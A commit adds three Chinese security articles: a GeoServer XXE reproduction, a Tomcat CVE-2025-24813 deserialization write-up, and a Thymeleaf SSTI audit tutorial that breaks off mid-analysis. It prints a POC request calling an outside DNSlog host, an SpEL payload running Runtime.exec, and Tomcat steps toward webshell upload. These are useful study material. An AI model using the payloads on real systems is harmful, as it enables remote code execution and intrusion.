代码审计系列-基础篇-SSTI-Thymeleaf模版注入漏洞、【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)、【成功复现】GeoServer XXE漏洞 (CVE-2025-30220)、

This commit is contained in:
test committed 2025-06-23 20:22:16 +00:00
1 parent 9053656d00
commit f59c82a2ca
4 files changed
+553 -1

No files matched your search

+4 -1
View File
@@ -15522,5 +15522,8 @@
"https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655284631&idx=1&sn=0f2b418860e8c2dc075739e21e9ca0cb": "DeepSeek R1技术复现和大模型的治理与安全",
"https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247555215&idx=1&sn=6a2811d84935bd770fb0fab5ac10eb48": "渗透进阶,玩转网络漏洞挖掘",
"https://mp.weixin.qq.com/s?__biz=MzU3ODM2NTg2Mg==&mid=2247496070&idx=1&sn=d3362c4570a2fa20dd6265ff8fe16d5a": "CNVD漏洞周报2025年第23期",
"https://mp.weixin.qq.com/s?__biz=MzU3ODM2NTg2Mg==&mid=2247496070&idx=2&sn=fbbb1aea6d677f06fb7c17d1744a6eb3": "上周关注度较高的产品安全漏洞(20250616-20250622)"
"https://mp.weixin.qq.com/s?__biz=MzU3ODM2NTg2Mg==&mid=2247496070&idx=2&sn=fbbb1aea6d677f06fb7c17d1744a6eb3": "上周关注度较高的产品安全漏洞(20250616-20250622)",
"https://mp.weixin.qq.com/s?__biz=Mzg3MDU1MjgwNA==&mid=2247487469&idx=1&sn=969aa08661d0f26aeb3b4f8d5321b200": "代码审计系列-基础篇-SSTI-Thymeleaf模版注入漏洞",
"https://mp.weixin.qq.com/s?__biz=MzI4MjkxNzY1NQ==&mid=2247485985&idx=1&sn=77e197ee7c913ad96cdc2f038191fd99": "【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)",
"https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247503434&idx=1&sn=536a6976c1a3e6ceaedfee30301894c3": "【成功复现】GeoServer XXE漏洞 (CVE-2025-30220)"
}
@@ -0,0 +1,142 @@
# 【成功复现】GeoServer XXE漏洞 (CVE-2025-30220)
弥天安全实验室 弥天安全实验室 2025-06-23 14:26
#
网安引领时代,弥天点亮未来  
 
 
![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
**0x00写在前面**
**本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!**
![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
**0x01漏洞介绍**
![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDvdqOZcpaib7wQRrZ0CbDJqn5NvJgGnNQwacrZB540jE45Kg1jkDnNRqBHzgDeSsnHYK3ROrZicEQg/640?wx_fmt=png&from=appmsg "")
     
GeoServer是GeoServer开源的一个用 Java 编写的开源软件服务器。允许用户共享和编辑地理空间数据。
GeoServer存在代码问题漏洞,该漏洞源于XML外部实体处理不当,可能导致信息泄露。
![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
**0x02影响版本**
GeoTools: "29.0<=GeoTools<=31.6, <28.6.1"
![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDvdqOZcpaib7wQRrZ0CbDJqKJlFSaX6ichQD9d7q75DRJib0XdazrEV7CLSI5K1X3uNwNRxLzcial1tA/640?wx_fmt=png&from=appmsg "")
![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
**0x03漏洞复现**
1.访问漏洞环境
![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDvdqOZcpaib7wQRrZ0CbDJqxVEgxFpX2jE6jfPezCW55L4os99IPcPUumxw0qsOQicvF31g9NbLKPA/640?wx_fmt=png&from=appmsg "")
2.对漏洞进行复现
 
**POC**
漏洞复现
```
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 353
Content-Type: application/xml
Accept-Encoding: gzip
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:topp="http://www.openplans.org/topp"
xsi:schemaLocation="http://a http://xjsackqijs.lfcx.eu.org/xxe.xsd"
outputFormat="KML">
<wfs:Query typeName="topp:states"/>
</wfs:GetFeature>
```
        通过DNSlog回显,判断漏洞存在
![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDvdqOZcpaib7wQRrZ0CbDJqBIhcXsSH3q8Eaiby40puicsSKsdKE6D4xZONxQsrWLich9zzTsWMGUTZg/640?wx_fmt=png&from=appmsg "")
3.Yakit插件
测试
![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDvdqOZcpaib7wQRrZ0CbDJq5Oia2ePfs861mCWDIIKc5tXSyGlRibmnmKHQtr5wYKkIAWmRkBzB30RQ/640?wx_fmt=png&from=appmsg "")
![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
**0x04修复建议**
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
可以使用以下命令查看版本:`mvn dependency:list | grep geotools`。
建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!                     
```
https://geoserver.org/download/
https://github.com/geoserver/geoserver/releases/tag/2.27.1
```
弥天简介
学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。
口号 网安引领时代,弥天点亮未来
![Image](https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iaaqjXT4YxgHVARD1NNv0RvKtiaAvXhmruVqgavPY3stwrfvLKetGycKUfxIq3Xc6F6dhU7eb4oh2gg/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "")
 
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
予以风动,
必降弥天之润!
   弥  天
安全实验室
![Image](https://mmbiz.qpic.cn/mmbiz_jpg/MjmKb3ap0hDyTJAqicycpl7ZakwfehdOgvOqd7bOUjVTdwxpfudPLOJcLiaSZnMC7pDDdlIF4TWBWWYnD04wX7uA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
@@ -0,0 +1,129 @@
# 【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)
稻草人 玄武盾网络技术实验室 2025-06-23 13:52
**“**
 对我们感兴趣的话就点个关注吧!**”**
## 漏洞介绍
**Apache Tomcat 命令执行漏洞(CVE-2025-24813)**
Tomcat 作为一款开源的轻量级 Web 应用服务器与 Servlet 容器,由 Apache 软件基金会旗下 Jakarta 项目负责开发,是当下极为流行的 Java Web 服务器之一。
**漏洞影响范围**
- 9.0.0.M1 <= tomcat <= 9.0.98
- 10.1.0-M1 <= tomcat <= 10.1.34
- 11.0.0-M1 <= tomcat <= 11.0.2
**漏洞原理分析**
在 Tomcat 里,HTTP PUT 请求中的 Content-Range 头字段主要发挥着实现大文件分块传输的重要作用。当文件上传处于未完成状态时,这些上传内容会被临时存放在 Tomcat 工作目录中,具体位置是:$CATALINA_BASE/work/Catalina/localhost/ROOT
。
![upload5image-20250321211125092.png](https://mmbiz.qpic.cn/mmbiz_jpg/UM0M1icqlo0m7IMzmyBesqxANnoQ2gekwXJta5Wgcwc8rOdbaJspzy1fn1icxOFKNicrpNe02TQ0x5ABtUOzXMvyQ/640?wx_fmt=jpeg&from=appmsg "")
  
该漏洞的核心在于不完整 PUT 请求上传时的文件名处理机制,其会将文件路径中的分隔符 /
 转换为 .
。例如,访问路径 /xxxxx/session
 会被解析为 .xxxxx.session
。因此,整个漏洞的利用过程为
:
1. Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT
1. 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
1. 通过设置JSESSIONID=.xxxxx
来触发漏洞
## 环境搭建
该漏洞的利用条件较为苛刻,其核心成因是:当 Tomcat 处理不完整的 HTTP PUT 请求时,会依据用户提供的文件名及路径动态生成临时文件。若以下条件同时满足,攻击者即可执行任意代码:
1. **默认 Servlet 启用了写权限(默认禁用)**
1. **启用了部分PUT请求支持(默认启用)**
1. **应用程序使用 Tomcat 的基于文件的会话持久化(默认存储位置)**
1. **应用程序包含可被利用于反序列化攻击的库**
下面就是需要下载和配置的设置
复现版本Tomcat 9.0.98
```
```
**构造利用条件:**
条件一、需要在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能
```
```
![upload5image-20250321205642707.png](https://mmbiz.qpic.cn/mmbiz_jpg/UM0M1icqlo0m7IMzmyBesqxANnoQ2gekwNBicicwzP79VwUAv8dICwtQTOHiaSXQRCzibUlWxTKyTb7FGjGvib8eNB3A/640?wx_fmt=jpeg&from=appmsg "")
条件二、PUT方法默认开启
条件三、在conf/context.xml中,开启File文件会话存储
```
```
![upload5image-20250321205736018.png](https://mmbiz.qpic.cn/mmbiz_jpg/UM0M1icqlo0m7IMzmyBesqxANnoQ2gekwDibE3GibA3icWIxxxvjzpfwwllC2xnlqjMdbLiaicoFjnNLXVvbdZNOeGPA/640?wx_fmt=jpeg&from=appmsg "")
条件四、下载 commons-collections-3.2.1.jar, 把 jar 包放入webapps\ROOT\WEB-INF\lib
目录下,如果没有这个目录就创建一个
```
```
![upload5image-20250321205923994.png](https://mmbiz.qpic.cn/mmbiz_jpg/UM0M1icqlo0m7IMzmyBesqxANnoQ2gekwnX61Bd5AibP7JK58amfPYBa6GqXa0gckyYkFICUEfLvYBLfKkYgwia1w/640?wx_fmt=jpeg&from=appmsg "")
环境搭建好后就可点击bin目录下面的startup.bat
启动环境。
![upload5image-20250321232535464.png](https://mmbiz.qpic.cn/mmbiz_jpg/UM0M1icqlo0m7IMzmyBesqxANnoQ2gekwT3YBz5pdhv1DmgLsXrYLQXu2R9dicKbczHQpdiazlDicQZFCXGta2DRew/640?wx_fmt=jpeg&from=appmsg "")
## 漏洞复现
【Yso-Java Hack】模块生成一个利用payload:
![upload5image-20250321174901535.png](https://mmbiz.qpic.cn/mmbiz_jpg/UM0M1icqlo0m7IMzmyBesqxANnoQ2gekwWNGHBfsLEQSjXkicXUbS7FHUjQq71dSeehAAfzG6qdGxpvia68nvTynQ/640?wx_fmt=jpeg&from=appmsg "")
在使用该数据包进行上传时,请务必确保以下几点:
1. **Range 头字段的分块值必须与 Content-Length 完全一致,**
1. **Content-Length 的值需大于目标文件的当前长度,以此确保能覆盖原有内容。**
```
```
下面poc可触发
```
```
也能够上传 webshell,只需对执行命令进行修改即可。默认情况下,执行 cmd 的位置是 bin 目录,将 webshell 上传到该目录是没有用的,所以修改一下路径就行。其他诸如反弹 shell 等操作,原理都是一样的。
要是写入失败,有可能是本地普通用户没有写入文件的权限,对权限进行设置后就可以成功写入了。
```
```
你上传的 JSP WebShell 确实已成功写入服务器,但由于 Tomcat 的安全机制限制,该文件可能被标记为不可执行或不可访问。
![upload5image-20250322210814834.png](https://mmbiz.qpic.cn/mmbiz_jpg/UM0M1icqlo0m7IMzmyBesqxANnoQ2gekwNWX1uVoBZv5abggO5ibbUs7N0H3oDR7U47WHict0MILa6gfNeHKlsz8A/640?wx_fmt=jpeg&from=appmsg "")
# 修复方案
目前Apache官方已公布漏洞公告,可下载补丁更新:https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
领导说不点「推荐」就扣我鸡腿!救救孩子吧。
![图片](https://mmbiz.qpic.cn/mmbiz_png/UM0M1icqlo0knIjq7rj7rsX0r4Rf2CDQylx0IjMfpPM93icE9AGx28bqwDRau5EkcWpK6WBAG5zGDS41wkfcvJiaA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
声明:
技术文章均收集于互联网,仅作为本人学习、记录使用。
侵权删
!
!
@@ -0,0 +1,278 @@
# 代码审计系列-基础篇-SSTI-Thymeleaf模版注入漏洞
闪石星曜CyberSecurity 2025-06-23 08:49
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Er9m1ZBsCDwBKMTNZny1xUesHEdZfVl5W0S5N9tkUgfaKhXSWqJCQAcA/640?wx_fmt=gif&from=appmsg "")
本篇为代码审计系列SSTI服务器端模板注入漏洞理论篇-Thymeleaf第九篇,看完本篇你将掌握关于Thymeleaf模版注入漏洞的代码视角原理剖析、基础挖掘漏洞核心能力,看完如有技术错误欢迎评论区指正。
- Thymeleaf概念
- 业务视角Thymeleaf流程
- 漏洞视角Thymeleaf漏洞原理及防范(
Thymeleaf
3.0.11版本)
- Rouyi实战审计案例(
Thymeleaf
3.0.12版本)
**Thymeleaf模版注入漏洞**
一
Thymeleaf
        Thymeleaf 的模板引擎通过将模板与数据模型结合,实现了动态内容的渲染,适用于各种 Web 开发场景。
1.1Thymeleaf引擎
        引擎是 Thymeleaf 的核心组件,负责解析模板、处理动态表达式,并将模板与数据模型结合生成最终的输出内容。
1.2Thymeleaf模版
        模板是 Thymeleaf 中用于定义页面结构和内容的文件,通常是 HTML 文件。模板中包含了静态内容和动态占位符(Thymeleaf 表达式),这些占位符会在渲染时被替换为实际的数据。如下图所示:${user.name}和${user.email}是 Thymeleaf 表达式,会在渲染时被替换为实际的数据。
二
业务视角Thymeleaf场景流程
Thymeleaf数据流转流程
- 用户请求阶段
:用户通过浏览器向服务器发送 HTTP 请求(如 GET、POST 请求)
- 数据绑定Model
:控制器将数据绑定到Model对象中,Model是 Spring MVC 提供的一个接口,用于在控制器和视图之间传递数据
- Thymeleaf视图解析器
:Spring MVC 根据控制器返回的
视图名称
(如"greeting")调用 Thymeleaf的视图解析器(ThymeleafViewResolver)来解析模板。
- Thymeleaf 引擎处理模板:
Thymeleaf 引擎根据模板名称找到对应的
模板文件
(如greeting.html),并将数据渲染到模板中。
- TemplateEngine:Thymeleaf 的核心类,负责模板的解析和渲染。
- Context:Thymeleaf 的上下文对象,用于存储模板中使用的变量。
- TemplateResolver:负责定位模板文件(如从类路径、文件系统等)。
- 模板渲染
:Thymeleaf 根据模板文件和数据生成最终的 HTML 内容。
2.1Thymeleaf使用流程
- 定义模板:开发者编写 Thymeleaf 模板文件(通常是 HTML 文件),定义页面结构和动态占位符。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErR9DZO0kfCYmDf8n3YIl4mY8UjnWjABQoQGH4d33LwLmADu4RWicov1w/640?wx_fmt=png&from=appmsg "")
- 准备数据模型:在后端代码中,准备需要渲染的数据模型。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErK4wGk0rrjju2Tj39VTJIWytQvurx5mibKVKZP9ahIGcwOrIib9M4BU8w/640?wx_fmt=png&from=appmsg "")
- 渲染模板:Thymeleaf 的TemplateEngine将模板与数据模型结合,生成最终的 HTML 内容。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErCXPn7cW66x9Kk80mLdrHafG8ibBsR2ribJibwFK13p2O9paKRCXTCJJ0g/640?wx_fmt=png&from=appmsg "")
- 返回渲染结果:将渲染后的 HTML 内容返回给客户端(如浏览器)。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErtD2wIlk8VDDFqS6Za5NdYicic2KFTWIoNiblPGYpUJG6kibJx4GibNZcdiaw/640?wx_fmt=png&from=appmsg "")
三
 漏洞视角Thymeleaf模版原理及防范
Thymeleaf模版注入漏洞属于SSTI类漏洞,触发漏洞根因是在用户输入参数后模板渲染前Thymeleaf引擎使用Spel解析阶段造成Payload被执行,且不同版本的Thymeleaf模版会有不同的漏洞触发场景。
3.1漏洞场景研究
示例漏洞场景项目https://github.com/veracode-research/spring-view-manipulation/
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Er9S3Z1vP417MR1A0U0lv925XopIic0zcUFAJqEXAZnXp2r4FAO1z91Zw/640?wx_fmt=png&from=appmsg "")
Thymeleaf模版版本为3.0.11
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErnUuXwiaJvH9icXnaYrk9u1yWau5nNTsaSPh01FMyyPKOiapY2uk6icraew/640?wx_fmt=png&from=appmsg "")
3.1.1表达式拼接注入
直接拼接注入表达式经测试不可行
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Erjy0ekE3Tt17YBzYKzYUKp9vJpqdibib53RULiclWd5v4O6piaiaJFnvMHtQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9EreRayGiayTFJandO7wnmW5sYBYBrWDoC3pRMH8EujQHsGYOuZgnC5Hlw/640?wx_fmt=png&from=appmsg "")
输入表达式无法进行拼接模版注入
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Eribj2afCPxptAiba2fC7IyEicvYVcslO6T73icNqD6jhkQva0LNnHeRmIyg/640?wx_fmt=png&from=appmsg "")
测试模版是否能解析SPEL表达式:
StandardDialect:Thymeleaf 使用`StandardDialect`来处理标准表达式(如`${...}`)。可以通过检查`StandardDialect`是否被注册来确定表达式解析是否启用。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErVicbw6GE3NKiatmoXEvLZst7JzZSen5yiaYiaDTDV5ZMhsxJow32QH5dtg/640?wx_fmt=png&from=appmsg "")
发现开启了表达式的解析
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Eribgnacicoojiczc3IWKhVSr8OguVcia3phpYfpU53OzHUvicYYaojRXMrqw/640?wx_fmt=png&from=appmsg "")
模版修改为Payload形式直接访问测试
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Er16kg1p3x5v63JJicibbo0rS6bv2ibibsuEJCHlxqXr7lmCmhIH0nibdGicrA/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErQdnTPuZjzGDkTg2o3wrAVFH91yiciaXvEZhrJVOvicsP2PicBounSmjnSA/640?wx_fmt=png&from=appmsg "")
访问show接口发现也能直接解析Spel表达式
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErpAvO1hush8wxWrkHibav48UP5U1jcce0FTCOZUOWQYUQkHWD9AEhheQ/640?wx_fmt=png&from=appmsg "")
那么只有一种可能:Spel中getValue()处理完模版中固定的Spel表达式再渲染的Html,而不是解析传入的Spel表达式到SPELVariableExpressionEvaluator.java中的getValue()方法进行下断发现传入的是模版中写死的$message表达式并非
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x::
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErMuWNkzxh3mG3h1XAWmavWiaicuBKlADWA8LvNaByeoHFMAQicm9GpWrNg/640?wx_fmt=png&from=appmsg "")
Spel表达式流程发现:ThymeleafView.java中吧templateName是核心内容,主要是传参可控制模版名字
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErW1O642J40Dq81xEmbVHibRiaAoBdWhRfds7Uf3qqbuZiaqdBavquEluLQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9EricIVXBcE77xXB1qxAFhicicd8iaCaaONiaTxnZyqS5AaTJNZSVibiakRnBXmA/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErGjwpDGyYlibsTY4HvWYj0LT1V7ldSry2KMhdPaQEwoMgWxeDLG6alBA/640?wx_fmt=png&from=appmsg "")
将${message}作为input传进去,后续将作为直接解析
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErpSYQibZibnjo4wozzQce9FyaOEd8lhlDpHUAbOqLpD1GKicwWLSOWbq4A/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Er9BRXKdoYgXCMnMkT5YO0OD6v6vPMD1WSjOKKLjy4icXnNN8Q0EicYibEA/640?wx_fmt=png&from=appmsg "")
3.1.2return模版路径表达式解析
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErWib88SchI6WDNXxXuabhxuQd7tWicXldEffumqxDPyVPJxibdQBlH4jhA/640?wx_fmt=png&from=appmsg "")
3.1.3分段表达式注入return模版路径表达式解析
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErZk4b27Uk9ZrKdA8cvdnnOcWVniaMUUT4ClThnsbZ8ZGepHOrEqElDPg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErvAskBOGMVkOLFMxf4RxUeq3WOpBdffxicibFrjXpkN6IHmcgAZsJuamg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Er1K2wfsficODWdrhaqFtyytM2gb2icJdR4Sl8Hdjx0WJk20CltEGIpNqg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErZhceN2EkCmia4YDiavVejgvGYrgSict0LkF9KLMNaCoYYwxrCWHdDT3tA/640?wx_fmt=png&from=appmsg "")
3.1.4Url表达式注入
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErEl0IUKZTsyEWI9k57JjvHhXfbbmBTMSgRNKTRj6rZhM9L01kuc9BdA/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Erice2EWBvHDk5PbAcLmlxIvMGeQgrN6iaHadKMDnwK3bQ5cpOuzNTBbibQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Erpcrnbeya5092NeEVgIuibXBPbQdcFR1rCqSp7QHPLHLXibg74VMiclokg/640?wx_fmt=png&from=appmsg "")
四
实战审计案例
此篇RouYi-v4.7.1为分析Thymeleaf漏洞进行白盒方式审计模版注入漏洞。部署后从系统功能视角到源代码定位及抓包调试进行讲解。
白盒审计思路
- 关键词定位Control层
- 查看是否存在注入点
- return or url模版路径可拼接进行给视图传参数
4.1RouYi-v4.7.1漏洞项目部署
Gitee项目地址:https://gitee.com/y_project/RuoYi/compare/v4.7.1...v4.7.2
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErRqdQQELf6o0UpG7hR5a1kicibEcsgDM495cvQgYbgltHicNsMSDS2qCLg/640?wx_fmt=png&from=appmsg "")
直接打开Pom.xml引入依赖即可,查看thymeleaf版本2.1.0
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Ermvuk1NCjp45cD8E3EzibWN6H85pt5DKR4wY7MkGORiciceXxyZGsLAz8w/640?wx_fmt=png&from=appmsg "")
启动项目
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9EraIibiaibjP92zMibEBbMB7e2hKrbrxlHjFeChdXlRZWwGjx690muKJlv2w/640?wx_fmt=png&from=appmsg "")
导入2个数据库文件,并修改数据库账号密码,成功启动项目
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Erfvaw09FZ8OC3bZs8XKACFgKoM7RlkouAX0lwerAjwOoGMBD0ScldbQ/640?wx_fmt=png&from=appmsg "")
4.2白盒源代码漏洞分析
定位SpringBoot中Thymeleaf模版配置项及前端模版位置
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErpWQnWlpJqup6xjwnVVlvj7ROQ0bf1ULVyFwYq9atZpxq6m2lkAszIw/640?wx_fmt=png&from=appmsg "")
关键词定位:在Thymeleaf漏洞中的业务代码,会在控制器(Controller)和视图(View)之间传递数据。它们的主要作用是将数据从控制器传递到 Thymeleaf 模板,以便在模板中渲染这些数据
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErfOFgciaBdRLUoKuYE85XYyxg3A7W8DytaEO7cMMico9P1B9EcxGlSC2g/640?wx_fmt=png&from=appmsg "")
使用关键词定位Control层,看样子用的ModelMap
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Er6nV9E3eTr1IpDs3nF3t8Md9T9dhUYzasOiag5swQk2TznPRYX45kwpw/640?wx_fmt=png&from=appmsg "")
DemoOperateController.java中修改用户方法返回视图模版
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErS9ZZ6YAPwgFDqLsVkhAZtUJc7dIZV0P2FpYBZB2K6BMZl4TajPicGGw/640?wx_fmt=png&from=appmsg "")
第二处也不可控
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErwSCukGyx4qtZBPT2UgTJw6MDYB5hou0zRpFpg6P5TDNicPqTyhqymZQ/640?wx_fmt=png&from=appmsg "")
查找到CacheController.java发现惊喜,return路径可直接传参数控制
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErsmRXRrTG76IvSh5NPrVqldYDU0MgCTicur3cIBcfN9vcP2SeZ57opuQ/640?wx_fmt=png&from=appmsg "")
Rouyi的模版版本为3.0.12,需要定位此版本Payload才可以
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Erkm1icuKSuiaCdbGYttT6We84La0wpB1jLt4k4oQucoJLJ4GFFictn1kQw/640?wx_fmt=png&from=appmsg "")
根据描述信息3.0.12防护信息需要进行
Url编码并且进行空格处理才可绕过
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErUtBOibqpaZMhvuXA3icMpXdqmLibQyxOJuRHzzqncCRmib5g3uHhaKffBw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Er5NmxamyYmmzZsxMcI9hXeuKicwKbFflujtl7uhvqF6Oicia9ZxvnpmtDg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9EruA98dj55dcw3lyVBcXJ28iaSMBhlmkFGW3EzG1ibNJFqDn5RibG0ophUg/640?wx_fmt=png&from=appmsg "")
源码跟踪3.0.12绕过方式
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9Er2DwJ3kVWK9ZvV1hmlZkqZDLF3ibEKF9ZXrPBoBfNyqHLNBpoXWt8Jgg/640?wx_fmt=png&from=appmsg "")
发现使用SpringSecurity框架中的一个工具类:SpringStandardExpressionUtils.java用于检测 SpEL具体逻辑如下:
